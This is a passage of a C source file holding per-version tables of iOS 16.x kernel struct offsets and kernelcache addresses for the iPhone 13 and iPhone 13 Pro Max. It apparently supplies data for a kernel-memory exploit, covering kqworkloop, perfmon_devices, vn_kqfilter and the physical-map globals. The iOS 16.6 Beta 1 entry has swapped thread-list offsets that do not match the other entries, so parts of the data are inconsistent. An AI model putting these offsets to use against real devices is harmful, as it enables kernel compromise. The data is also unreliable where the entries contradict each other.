0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a465208,\n        .kernelcache__gPhysBase = 0xfffffff007937fc0,\n        .kernelcache__gPhysSize = 0xfffffff007937fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4a3520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef9210,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45ae0,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone14,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a471208,\n        .kernelcache__gPhysBase = 0xfffffff00793c100,\n        .kernelcache__gPhysSize = 0xfffffff00793c100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00793a2d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4af520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efd480,\n        .kernelcache__ptov_table = 0xfffffff0078ef180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ae990,\n        .kernelcache__vm_pages = 0xfffffff0078ebec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ee130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ae988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f49fe8,\n    },\n\n    // iOS 16.6 Beta 1 //\n      {\n          .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110\",\n          .build_version = \"20G5026e\",\n          .device_id = \"iPhone14,3\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 0x8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x380 - 0x18,\n          .task__threads__prev = 0x80 - 0x28 + 0x8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x640,\n          .thread__task_threads__next = 0x80 - 0x28,\n          .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n          .thread__map = 0x380,\n          .thread__thread_id = 0x418,\n          .thread__object_size = 0x4c0,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x10,\n          ._vm_map__hdr__links__next = 0x08 + 0x10,\n          ._vm_map__hdr__links__start = 0x10 + 0x10,\n          ._vm_map__hdr__links__end = 0x18 + 0x10,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,//good\n          .kernelcache__cdevsw = 0xfffffff00a519a30, //good\n          .kernelcache__gPhysBase = 0xfffffff0079502a8, //good\n          .kernelcache__gPhysSize = 0xfffffff0079502b0, //good\n          .kernelcache__gVirtBase = 0xfffffff00794e460, //good\n          .kernelcache__perfmon_devices = 0xfffffff00a559550, //good\n          .kernelcache__perfmon_dev_open = 0xfffffff007f1db9c, //good\n          .kernelcache__ptov_table = 0xfffffff0079039c0, //good\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a558910, //good\n          .kernelcache__vm_pages = 0xfffffff007900110, //good\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902970, //good\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a558908, //good\n          .kernelcache__vn_kqfilter = 0xfffffff007f6a0b8, //good\n      },\n // End iPhone 13 Pro Max //\n // Start iPhone 13 //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone14,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a379190,\n        .kernelcache__gPhysBase = 0xfffffff0078580c8,\n        .kernelcache__gPhysSize = 0xfffffff0078580c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078562a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3b43b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8fa8,\n        .kernelcache__ptov_table = 0xfffffff00780b370,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3b3800,\n        .kernelcache__vm_pages = 0xfffffff007808098,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a330,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3b37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f28fd0,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone14,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381190,\n        .kernelcache__gPhysBase = 0xfffffff0078581b0,\n        .kernelcache__gPhysSize = 0xfffffff0078581b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007856390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed905c,\n        .kernelcache__ptov_table = 0xfffffff00780b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800,\n        .kernelcache__vm_pages = 0xfffffff0078080d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f29074,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone14,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381190,\n        .kernelcache__gPhysBase = 0xfffffff0078581b0,\n        .kernelcache__gPhysSize = 0xfffffff0078581b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007856390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed905c,\n        .kernelcache__ptov_table = 0xfffffff00780b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800,\n        .kernelcache__vm_pages = 0xfffffff0078080d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f29074,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone14,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a465208,\n        .kernelcache__gPhysBase = 0xfffffff007937fc0,\n        .kernelcache__gPhysSize = 0xfffffff007937fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4a3520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef9210,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45ae0,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone14,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a465208,\n        .kernelcache__gPhysBase = 0xfffffff007937fc0,\n        .kernelcache__gPhysSize = 0xfffffff007937fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4a3520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef9210,\n        